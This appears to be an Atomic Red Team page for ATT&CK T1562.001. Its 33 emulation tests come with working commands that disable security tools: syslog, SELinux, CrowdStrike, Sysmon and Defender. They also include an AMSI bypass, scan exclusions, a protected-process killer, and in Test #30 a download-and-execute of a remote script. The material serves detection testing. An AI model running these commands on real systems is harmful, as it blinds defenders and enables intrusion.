logo
SlackReddit

T1562.001

Impair Defenses: Disable or Modify Tools

Description from ATT&CK

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)

Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool’s exclusion list, enabling them to hide malicious files via File/Path Exclusions.(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)

Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)

On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)

Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)

Atomic Tests

Atomic Test #1 - Disable syslog

Disables syslog collection

Supported Platforms: Linux

auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8

Inputs:

NameDescriptionTypeDefault Value
package_checkerPackage checking command for linux.string(rpm -q rsyslog 2>&1 >/dev/null)
package_installerPackage installer command for linux. Default yumstring(which yum && yum -y install epel-release rsyslog)
flavor_commandCommand to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslogstringsystemctl stop rsyslog ; systemctl disable rsyslog
cleanup_commandCommand to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog onstringsystemctl start rsyslog ; systemctl enable rsyslog

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

#{flavor_command}

Cleanup Commands:

#{cleanup_command}

Dependencies: Run with sh!

Description: Package with rsyslog must be on system
Check Prereq Commands:
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
sudo #{package_installer}

Atomic Test #2 - Disable syslog (freebsd)

Disables syslog collection

Supported Platforms: Linux

auto_generated_guid: db9de996-441e-4ae0-947b-61b6871e2fdf

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

service syslogd stop
sysrc syslogd_enable="NO"

Cleanup Commands:

sysrc syslogd_enable="YES"
service syslogd start

Atomic Test #3 - Disable Cb Response

Disable the Cb Response service

Supported Platforms: Linux

auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8

Attack Commands: Run with sh!

if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi

Atomic Test #4 - Disable SELinux

Disables SELinux enforcement

Supported Platforms: Linux

auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

setenforce 0

Cleanup Commands:

setenforce 1

Dependencies: Run with sh!

Description: SELinux must be installed
Check Prereq Commands:
which setenforce
Get Prereq Commands:
echo "SELinux is not installed"; exit 1

Atomic Test #5 - Stop Crowdstrike Falcon on Linux

Stop and disable Crowdstrike Falcon on Linux

Supported Platforms: Linux

auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service

Cleanup Commands:

sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service

Atomic Test #6 - Disable Carbon Black Response

Disables Carbon Black Response

Supported Platforms: macOS

auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist

Cleanup Commands:

sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist

Atomic Test #7 - Disable LittleSnitch

Disables LittleSnitch

Supported Platforms: macOS

auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

Cleanup Commands:

sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

Atomic Test #8 - Disable OpenDNS Umbrella

Disables OpenDNS Umbrella

Supported Platforms: macOS

auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

Cleanup Commands:

sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

Atomic Test #9 - Disable macOS Gatekeeper

Disables macOS Gatekeeper

Supported Platforms: macOS

auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo spctl --master-disable

Cleanup Commands:

sudo spctl --master-enable

Atomic Test #10 - Stop and unload Crowdstrike Falcon on macOS

Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS

Supported Platforms: macOS

auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef

Inputs:

NameDescriptionTypeDefault Value
falcond_plistThe path of the Crowdstrike Falcon plist filepath/Library/LaunchDaemons/com.crowdstrike.falcond.plist
userdaemon_plistThe path of the Crowdstrike Userdaemon plist filepath/Library/LaunchDaemons/com.crowdstrike.userdaemon.plist

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}

Cleanup Commands:

sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}

Atomic Test #11 - Unload Sysmon Filter Driver

Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".

Supported Platforms: Windows

auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164

Inputs:

NameDescriptionTypeDefault Value
sysmon_driverThe name of the Sysmon filter driver (this can change from the default)stringSysmonDrv

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

fltmc.exe unload #{sysmon_driver}

Cleanup Commands:

sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i > nul 2>&1

Dependencies: Run with powershell!

Description: Sysmon must be downloaded
Check Prereq Commands:
if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr /i Sysmon 2> nul") -or (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe")) { exit 0 } else { exit 1 }
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sysmon" -Force
Description: sysmon must be Installed
Check Prereq Commands:
if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }
Get Prereq Commands:
if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else
{ & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i}
Description: sysmon filter must be loaded
Check Prereq Commands:
if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }
Get Prereq Commands:
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
  & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u
  & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
}else{
  sysmon -u
  sysmon -accepteula -i
}

Atomic Test #12 - Uninstall Sysmon

Uninstall Sysinternals Sysmon for Defense Evasion

Supported Platforms: Windows

auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc

Inputs:

NameDescriptionTypeDefault Value
sysmon_exeThe location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)pathPathToAtomicsFolder\T1562.001\bin\sysmon.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sysmon -u

Cleanup Commands:

sysmon -i -accepteula >nul 2>&1

Dependencies: Run with powershell!

Description: Sysmon executable must be available
Check Prereq Commands:
if(cmd /c where sysmon) {exit 0} else {exit 1}
Get Prereq Commands:
$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
Description: Sysmon must be installed
Check Prereq Commands:
if(cmd /c sc query sysmon) { exit 0} else { exit 1}
Get Prereq Commands:
cmd /c sysmon -i -accepteula

Atomic Test #13 - AMSI Bypass - AMSI InitFailed

Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. Upon execution, no output is displayed.

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

Supported Platforms: Windows

auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd

Attack Commands: Run with powershell!

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Cleanup Commands:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)

Atomic Test #14 - AMSI Bypass - Remove AMSI Provider Reg Key

With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. This test removes the Windows Defender provider registry key. Upon execution, no output is displayed. Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" to verify that it is gone.

Supported Platforms: Windows

auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

Cleanup Commands:

New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null

Atomic Test #15 - Disable Arbitrary Security Windows Service

With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed. Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service. To verify that the service has stopped, run "sc query McAfeeDLPAgentService"

Supported Platforms: Windows

auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5

Inputs:

NameDescriptionTypeDefault Value
service_nameThe name of the service to stopstringMcAfeeDLPAgentService

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled

Cleanup Commands:

sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1

Atomic Test #16 - Tamper with Windows Defender ATP PowerShell

Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Supported Platforms: Windows

auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1

Cleanup Commands:

Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0

Atomic Test #17 - Tamper with Windows Defender Command Prompt

Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator. However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied" will be displayed twice and the WinDefend service status will be displayed.

Supported Platforms: Windows

auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend

Cleanup Commands:

sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1

Atomic Test #18 - Tamper with Windows Defender Registry

Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be grayed out and have no info.

Supported Platforms: Windows

auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1

Cleanup Commands:

Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0

Atomic Test #19 - Disable Microsoft Office Security Features

Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not show any warning before editing the document.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

Supported Platforms: Windows

auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7

Attack Commands: Run with powershell!

New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"

Cleanup Commands:

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore

Atomic Test #20 - Remove Windows Defender Definition Files

Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

Supported Platforms: Windows

auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Atomic Test #21 - Stop and Remove Arbitrary Security Windows Service

Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.

Supported Platforms: Windows

auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143

Inputs:

NameDescriptionTypeDefault Value
service_nameThe name of the service to removestringMcAfeeDLPAgentService

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}

Atomic Test #22 - Uninstall Crowdstrike Falcon on Windows

Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.

Supported Platforms: Windows

auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297

Inputs:

NameDescriptionTypeDefault Value
falcond_pathThe Crowdstrike Windows Sensor path. The Guid always changes.pathC:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}

Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Folder

Malware can exclude a specific path from being scanned and evading detection. Upon successul execution, the file provided should be on the list of excluded path. To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath

Supported Platforms: Windows

auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed

Inputs:

NameDescriptionTypeDefault Value
excluded_folderThis folder will be excluded from scanningpathC:\Temp

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$excludedpath= "#{excluded_folder}"
Add-MpPreference -ExclusionPath $excludedpath

Cleanup Commands:

$excludedpath= "#{excluded_folder}"
Remove-MpPreference -ExclusionPath $excludedpath

Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Extension

Malware can exclude specific extensions from being scanned and evading detection. Upon successful execution, the extension(s) should be on the list of excluded extensions. To check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.

Supported Platforms: Windows

auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea

Inputs:

NameDescriptionTypeDefault Value
excluded_extsA list of extension to exclude from scanningstring.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$excludedExts= "#{excluded_exts}"
Add-MpPreference -ExclusionExtension  $excludedExts

Cleanup Commands:

$excludedExts= "#{excluded_exts}"
Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Ignore

Atomic Test #25 - Tamper with Windows Defender Evade Scanning -Process

Malware can exclude specific processes from being scanned and evading detection. Upon successful execution, the process(es) should be on the list of excluded processes. To check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess."

Supported Platforms: Windows

auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27

Inputs:

NameDescriptionTypeDefault Value
excluded_processA list of processes to exclude from scanningstringoutlook.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$excludedProcess = "#{excluded_process}"
Add-MpPreference -ExclusionProcess $excludedProcess

Cleanup Commands:

$excludedProcess = "#{excluded_process}"
Remove-MpPreference -ExclusionProcess  $excludedProcess

Atomic Test #26 - office-365-Disable-AntiPhishRule

Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.

Supported Platforms: Office-365

auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3

Inputs:

NameDescriptionTypeDefault Value
usernameoffice-365 usernamestring
passwordoffice-365 passwordstring

Attack Commands: Run with powershell!

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule

Cleanup Commands:

if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}

Dependencies: Run with powershell!

Description: ExchangeOnlineManagement PowerShell module must be installed
Check Prereq Commands:
$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement

Atomic Test #27 - Disable Windows Defender with DISM

The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's package.

Supported Platforms: Windows

auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet

Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun

Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign. See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3 Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.

Supported Platforms: Windows

auto_generated_guid: 81ce22fd-9612-4154-918e-8a1f285d214d

Inputs:

NameDescriptionTypeDefault Value
AdvancedRun_LocationPath of Advanced Run executablepathPathToAtomicsFolder\..\ExternalPayloads\AdvancedRun.exe
delete_defender_folderSet to 1 to also delete the Windows Defender folderinteger0

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
if(#{delete_defender_folder}){
  $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
  Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{}
}

Cleanup Commands:

Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "start WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}

Dependencies: Run with powershell!

Description: Advancedrun.exe must exist at #{AdvancedRun_Location}
Check Prereq Commands:
if(Test-Path -Path "#{AdvancedRun_Location}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -Force

Atomic Test #29 - Kill antimalware protected processes using Backstab

Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill. https://github.com/Yaxser/Backstab

Supported Platforms: Windows

auto_generated_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc

Inputs:

NameDescriptionTypeDefault Value
process_nameName of the protected process you want to kill/terminate.stringMsMpEng.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

& "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n #{process_name}

Dependencies: Run with powershell!

Description: Backstab64.exe should exist in ExtrnalPayloads Directory
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe"

Atomic Test #30 - WinPwn - Kill the event log services for stealth

Kill the event log services for stealth via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
inv-phantom -consoleoutput -noninteractive

Atomic Test #31 - Tamper with Windows Defender ATP using Aliases - PowerShell

Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Supported Platforms: Windows

auto_generated_guid: c531aa6e-9c97-4b29-afee-9b7be6fc8a64

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-MpPreference -drtm $True
Set-MpPreference -dbm $True
Set-MpPreference -dscrptsc $True
Set-MpPreference -dbaf $True

Cleanup Commands:

Set-MpPreference -drtm 0
Set-MpPreference -dbm 0
Set-MpPreference -dscrptsc 0
Set-MpPreference -dbaf 0

Atomic Test #32 - LockBit Black - Disable Privacy Settings Experience Using Registry -cmd

LockBit Black - Disable Privacy Settings Experience Using Registry

Supported Platforms: Windows

auto_generated_guid: d6d22332-d07d-498f-aea0-6139ecb7850e

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f

Cleanup Commands:

reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /f >nul 2>&1

Atomic Test #33 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd

LockBit Black - Use Registry Editor to turn on automatic logon

Supported Platforms: Windows

auto_generated_guid: 9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f

Cleanup Commands:

reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f >nul 2>&1

